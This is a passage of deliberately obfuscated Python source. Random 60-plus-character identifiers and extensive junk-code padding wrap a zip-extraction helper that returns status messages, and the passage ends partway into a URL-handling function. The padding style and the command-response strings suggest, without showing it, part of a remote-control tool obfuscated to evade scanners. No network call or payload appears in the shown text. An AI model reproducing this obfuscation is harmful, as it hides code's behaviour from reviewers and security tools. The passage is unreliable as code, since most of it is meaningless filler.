'WrtuSGlSwnuszYqDRBGIEIfExoPQNgNmJIBPDiDBvDQQRHALxMuMkJHyHiADJRC',
'RAvGyqIYEvRyaRlLFEuBFZGgFRAMHXRFhrnEstrJIGRqCvCmHOFyrGVWGBwQGqu',
'wtJEzDGzFFnyZAEzoASGSDJDqRRvTBuNxGvONTOhzmVuqCmUjxlJPuIYxQCuSJA'
]
for EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI in HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS:
for ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv in GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF:
if BIuwFnluzoQzttQzSDDHurryGrSlBAIuREYnjWhRGuvjzGWuorrIJsRFvVqzIt == OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY:
ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI
elif OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY == ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv:
ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS
else:
OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY = HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS
for ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv in xJeGJRCpEDFVvNfOQSPHyCqHtQGDMPJuxyctBSZzSxZsyDoPBCEIvShCPykICgG:
GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF = ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv
except Exception:
pass
import zipfile
pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz = 'YwRNIFoCyIFsvxqBxzNIizeFErorSeRCyETvlMHhQAvGzJHCTTAFHyJHYpmvuA'
GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq = 'SCJHNPvSnzDEFmpgxAAvYEwjtEyCJpsCPvkwEIGjMeztOcEpetJDvDGOGCCvOTJ'
if pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz != GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq:
pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz = 'SCJHNPvSnzDEFmpgxAAvYEwjtEyCJpsCPvkwEIGjMeztOcEpetJDvDGOGCCvOTJ'
GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq = pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz
pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz = 'YwRNIFoCyIFsvxqBxzNIizeFErorSeRCyETvlMHhQAvGzJHCTTAFHyJHYpmvuA'
def GDksjjtSttQJGqJCSHBpJxAJSRDrJIDqHDEJwJyFDxQMvxxSnWJyzVqRauBigxx(f):
if os.path.isfile(f):
BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = 'IuUNGGDSRMJJONSAdyHnDBJCHPFInpMpoBnRHBswnUHEAzpDQDZxPQGQJMXFqvw'
swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe = 'JnHFgzHtJFCHkVqCSPHxUROkQIOEFYJzrjPUtnCJLNtCwQpxknoQDQzIGQhLFGI'
IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'BIwmUvRUnICHGRSBPDpWwuCjFkEYGENFyGgtOsvHpQGnFPDHOVXJPtDAHwwvomJ'
VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = 'PGXxBiRHDpIahBHrZhOIRqQCAAcymGBRewrqutGQGArBiDDOrImANqVSDyOvFIF'
if swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe == BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC:
for BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC in swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
if swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe == swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA'
elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA:
VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC
else:
BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe
elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq:
for IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq in swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
if VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA == swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA'
elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA:
VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC
else:
BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe
for IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq in swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
if VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA == swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA'
elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA:
VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC
else:
BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA
else:
BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe
try:
QSIQyROWSEtyORKvEEpFtKFtWiJDICQtBPEFSPJIvFIERwOwQzZBGthntRWiFP = 'sGEwJnInsEEqPPyRwdxCEdDtQqJwQJpSEGMzHQtNGWSIABHyEDDGOSuTgIFnSSS'
pEESmIHpRmnRTgIsSSzrCLSgkFJNBJZOFMtuXFGppPdQIFPBjYxwyrzRozMGZGh = 'RQsZioyJzzCKrNBFGuiLizOUHvUIDpuRIGCGwPFYHEMBJFSDuCVcIEJpGkSwiJS'
rHjBBJxqpPEnuSjCDVIzoHEQqGBOEruhxJxGjDsgJqTEGtJPOHISRqBZHeJxHSi = 'gmoAGyKwGAotIZiCFupyvQNSxCwSsvEwQDmIfBMPvrFFAvDOUACNwJtrIONJrMS'
if QSIQyROWSEtyORKvEEpFtKFtWiJDICQtBPEFSPJIvFIERwOwQzZBGthntRWiFP == pEESmIHpRmnRTgIsSSzrCLSgkFJNBJZOFMtuXFGppPdQIFPBjYxwyrzRozMGZGh:
rHjBBJxqpPEnuSjCDVIzoHEQqGBOEruhxJxGjDsgJqTEGtJPOHISRqBZHeJxHSi = 'gmoAGyKwGAotIZiCFupyvQNSxCwSsvEwQDmIfBMPvrFFAvDOUACNwJtrIONJrMS'
rHjBBJxqpPEnuSjCDVIzoHEQqGBOEruhxJxGjDsgJqTEGtJPOHISRqBZHeJxHSi = QSIQyROWSEtyORKvEEpFtKFtWiJDICQtBPEFSPJIvFIERwOwQzZBGthntRWiFP
else:
rHjBBJxqpPEnuSjCDVIzoHEQqGBOEruhxJxGjDsgJqTEGtJPOHISRqBZHeJxHSi = 'gmoAGyKwGAotIZiCFupyvQNSxCwSsvEwQDmIfBMPvrFFAvDOUACNwJtrIONJrMS'
rHjBBJxqpPEnuSjCDVIzoHEQqGBOEruhxJxGjDsgJqTEGtJPOHISRqBZHeJxHSi = 'sGEwJnInsEEqPPyRwdxCEdDtQqJwQJpSEGMzHQtNGWSIABHyEDDGOSuTgIFnSSS'
with zipfile.ZipFile(f) as zf:
wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv = 'sBtvGgGVqRGkYpIVwoZuCllBAnGHZBuyQDwoIPBzMzQYGsCASCHwKINzCxCOAPE'
FKffspJwnTawGkDqRemOGHjGDqGBEeHBHmzCsytLIJRRvnRgYzGmMxImSGRyQSD = 'PyjrtJtwZDGJAsSCEzElsBxvZySGTZRRiZGINHVfiJhpwwRDQrUqSmGqEGNPsZY'
tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA = 'DSCjHBGUEyCzPIEODCLQuSQJuCxNfuImyCnFezsRvzZpoJCDIZDDQtICnEmBxGx'
ySuoYORsoPQrBJzqXQDLpRyXRUSySRADCqRMzITGZeqFCpRSETQePXJpGvuySgC = 'oNrCeBvIJupSjIJGGUSTRSHHHQDMpByxtOfSRynmEcxQYFfjSEqPzMDzFGPqSFR'
DOCoCDNGitCXAjAzoDwTPypxYWRkECNoCMsjIEJEnHDOiPxvEkXEFwPBPzISuDv = 'mBsZtkPRrrgJSXBzQJJDDkMBCRSBjOMqPJVVVzBqSGFMrSjNOjBDGIyuBpHBKxS'
IpPJJLUDEEtJNCyRrHSYIsRFHsmzFBmMIGnFBEPxFriJDSUqEByPABNHDFDJlrD = 'psEQziCEPHrJSzWBGSpREbxsSSBQTNsvnVtLXDtGIvSJzJGRDJFpEECISwDSPBF'
if wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv != ySuoYORsoPQrBJzqXQDLpRyXRUSySRADCqRMzITGZeqFCpRSETQePXJpGvuySgC:
FKffspJwnTawGkDqRemOGHjGDqGBEeHBHmzCsytLIJRRvnRgYzGmMxImSGRyQSD = tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA
for IpPJJLUDEEtJNCyRrHSYIsRFHsmzFBmMIGnFBEPxFriJDSUqEByPABNHDFDJlrD in ySuoYORsoPQrBJzqXQDLpRyXRUSySRADCqRMzITGZeqFCpRSETQePXJpGvuySgC:
if IpPJJLUDEEtJNCyRrHSYIsRFHsmzFBmMIGnFBEPxFriJDSUqEByPABNHDFDJlrD != tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA:
FKffspJwnTawGkDqRemOGHjGDqGBEeHBHmzCsytLIJRRvnRgYzGmMxImSGRyQSD = FKffspJwnTawGkDqRemOGHjGDqGBEeHBHmzCsytLIJRRvnRgYzGmMxImSGRyQSD
else:
DOCoCDNGitCXAjAzoDwTPypxYWRkECNoCMsjIEJEnHDOiPxvEkXEFwPBPzISuDv = wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv
else:
tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA = wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv
wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv = DOCoCDNGitCXAjAzoDwTPypxYWRkECNoCMsjIEJEnHDOiPxvEkXEFwPBPzISuDv
if tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA == wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv:
for IpPJJLUDEEtJNCyRrHSYIsRFHsmzFBmMIGnFBEPxFriJDSUqEByPABNHDFDJlrD in wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv:
if IpPJJLUDEEtJNCyRrHSYIsRFHsmzFBmMIGnFBEPxFriJDSUqEByPABNHDFDJlrD == tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA:
tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA = wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv
else:
tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA = DOCoCDNGitCXAjAzoDwTPypxYWRkECNoCMsjIEJEnHDOiPxvEkXEFwPBPzISuDv
zf.extractall('.')
return 'File {} extracted.'.format(f)
except zipfile.BadZipfile:
rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = 'QorrrYCsuquwNFOIgJlFJAXrtsLImHoPyJOxPIrIudFnFxBuSSvIAFbJAwRXkPj'
IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu = 'mHAsWCpIQtoBqBZkrzHExwVItDFJQBDrwmIEzyQqyRsEmPuQrGJPOhLtySrqxRG'
VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw = 'iAASIEuCjDVGxETwOsATABbEBuFPiyiDXvWQSsBztURJjFqzevZsZCNxELHZvts'
OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC = 'otJzCrMzFJHJurHJHwPMwzoONJFBRnrMIoEuSOIPuEBGzvYrHMAOIIDCtIxuypG'
if IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu == rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC:
for rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC in IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
if IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu == IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw = 'OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC'
elif VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw == OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC:
OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC = rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC
else:
rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu
elif VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw == VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw:
for VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw in IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
if OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC == IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw = 'OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC'
elif VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw == OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC:
OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC = rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC
else:
rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu
for VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw in IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
if OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC == IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw = 'OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC'
elif VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw == OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC:
OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC = rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC
else:
rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC
else:
rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu
return 'Error: Failed to GDksjjtSttQJGqJCSHBpJxAJSRDrJIDqHDEJwJyFDxQMvxxSnWJyzVqRauBigxx file.'
else:
try:
IDZADQHQsJIGHRmsybSFjjEiRrPvQHIuRhRNAEBzCBZUIyizAmlwVGRIRIxywvw = 'WnMnyHutfGRxEDPpVURvjCuFHplMbpBxrzQIDFoIuFAFNirzJZoQGaFzORDhqBo'
FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx = 'XEqnGvGBCGpwQCFCnJISSDweuECROHPIoxHQuRGvxLxEDGxltOHWJzpGvlZFrDY'
SvEoPDmsIFyCRPRJoTQDFxhHsDZCOQmohLAGZxJIAplJRjmSFwxuHFLDrzmGJJH = 'pzREqCGBxIEOtGKwCnXtOBxBQHgoxBuvFGOqRoHDQDvHFJRGCBFAxwQtFHIvGup'
ipEJIbJBpMeRJxrGlQwFyDHtxPHAFEoSOJFJGhxDJCAIXVkxCIOACHICnksBJQy = 'IRCUGySzgCAnTRAIpvHoRfGAGHFDtcQoEGmFCvUAXqNyEmnvRJIEwJJHDiRRHzL'
ARFDJFAIRUZCSHEyAGCRmHUnjuFtxCCRdFUukRGGAvTEDCzrRAaWuuEESlh = 'qxvFVeJzqhGJzlJIGrxqBJDFODyIvrsSCBFwICAvwkvqQBVaAqFDuQJSxHvrHiB'
HvjBGqEJHURvEzHAdXnuvxFGBSViHIzHmrHSMqJtFMHGmSsCHvlSupqUrwmHsGq = 'QSPRgdQwZEaDmjJeIRqStxzzOzhYBXRQAplwkoBrxlWvqENJqCSBstJRmJxrwte'
SQCTVEBSoIWzJfzFCvVoBDIzjqBgEsJHqwGoByumNuqIysWsCRYADzqTGRPtkCy = [
'WnMnyHutfGRxEDPpVURvjCuFHplMbpBxrzQIDFoIuFAFNirzJZoQGaFzORDhqBo',
'pzREqCGBxIEOtGKwCnXtOBxBQHgoxBuvFGOqRoHDQDvHFJRGCBFAxwQtFHIvGup',
'qxvFVeJzqhGJzlJIGrxqBJDFODyIvrsSCBFwICAvwkvqQBVaAqFDuQJSxHvrHiB',
'MywGAsIPyspkFNFEkDSCOCTxSYzJuBxezRJVUDnCAPGCAOyTzTRVKRIuSkGzzSv'
]
for IDZADQHQsJIGHRmsybSFjjEiRrPvQHIuRhRNAEBzCBZUIyizAmlwVGRIRIxywvw in HvjBGqEJHURvEzHAdXnuvxFGBSViHIzHmrHSMqJtFMHGmSsCHvlSupqUrwmHsGq:
for FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx in SvEoPDmsIFyCRPRJoTQDFxhHsDZCOQmohLAGZxJIAplJRjmSFwxuHFLDrzmGJJH:
if ipEJIbJBpMeRJxrGlQwFyDHtxPHAFEoSOJFJGhxDJCAIXVkxCIOACHICnksBJQy == ARFDJFAIRUZCSHEyAGCRmHUnjuFtxCCRdFUukRGGAvTEDCzrRAaWuuEESlh:
FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx = IDZADQHQsJIGHRmsybSFjjEiRrPvQHIuRhRNAEBzCBZUIyizAmlwVGRIRIxywvw
elif ARFDJFAIRUZCSHEyAGCRmHUnjuFtxCCRdFUukRGGAvTEDCzrRAaWuuEESlh == FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx:
FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx = HvjBGqEJHURvEzHAdXnuvxFGBSViHIzHmrHSMqJtFMHGmSsCHvlSupqUrwmHsGq
else:
ARFDJFAIRUZCSHEyAGCRmHUnjuFtxCCRdFUukRGGAvTEDCzrRAaWuuEESlh = HvjBGqEJHURvEzHAdXnuvxFGBSViHIzHmrHSMqJtFMHGmSsCHvlSupqUrwmHsGq
for FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx in SQCTVEBSoIWzJfzFCvVoBDIzjqBgEsJHqwGoByumNuqIysWsCRYADzqTGRPtkCy:
SvEoPDmsIFyCRPRJoTQDFxhHsDZCOQmohLAGZxJIAplJRjmSFwxuHFLDrzmGJJH = FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx
except Exception:
pass
return 'Error: File not found.'
def BwtroWhMwUAJNCIxRHzhDBTSCJpUovQxSozAwFoJQVyMQrvQGDCJOCEBlQCVMfA(zsCQvoXpDyupMoRCzCRABsrEHOPoArwsGJGIQEelOnHDABCprBHtGEQDxCvxhDH):
if not zsCQvoXpDyupMoRCzCRABsrEHOPoArwsGJGIQEelOnHDABCprBHtGEQDxCvxhDH.startswith('http'):
oCqsEgDLzQDAXAizDEzFCkCWBqHRjHAcZEqZhOOupRIyPAiloYdVCHpYSnAyvDD = 'AJIyfJHfDAABGwvBLXssriBJqyvEHRBhDHxxRBYRNfOEwGwHABiyJGJJrZJDBuY'
QgQuPORBclHvfmxJxBvQuryLFCEJFznJJHOBAyQnuINtPCBFRmQrDAxuGTxnoCR = 'GoEEOSRwQGDOoJbrCqwDlHQWJFbtUXDntstEBsIxNwjyeIPEAJyUNGMWUkByElW'
wTxvzsJmRrwBwDxkJSzQWIRHDxZynxzwynJdgLDsSAGgUtHuGNHBXGGiMGDrCJA = 'oDmkcCIARRXQNNNjAEGzGEFfAkvVwyyqEmzGQsEHTBwhOCNvNjHzHELQUQJRuRH'
vQEuJmVNHwGxSSvyGIiHxugjUPxWowxUyNDEGOzCSjHgVJuIOFOPmwxnrLJQSqn = 'HzxQHDujIPExvxJAqzGCyDxWRRujIAHOCwSSxEOpuQBkGEjJozkAQJqprxDsmzx'
SGCHDsJGQwxGLlwkQmUqAkCoNpZltPEzutqDSwCGkJGYwGSYHSQEOSwrhQCYGtI = 'COIujqyApGWJukEhzGBrCvENSFJzzuwiEuJpwXwwUGpApAJQCRyluvvPIGttJGo'
RBCBHyyBIqvEAvMwGIPJQHwOqBFSQDstSHEBXWHlSDuGzHJNSmSkJvLQpyQGBlB = 'NgJqtDupNvMwHytQESHtHnEwOSFIwEBuxAmBlxzyvSGmRqQywFBJCUhZhIwFAIm'
if wTxvzsJmRrwBwDxkJSzQWIRHDxZynxzwynJdgLDsSAGgUtHuGNHBXGGiMGDrCJA == vQEuJmVNHwGxSSvyGIiHxugjUPxWowxUyNDEGOzCSjHgVJuIOFOPmwxnrLJQSqn:
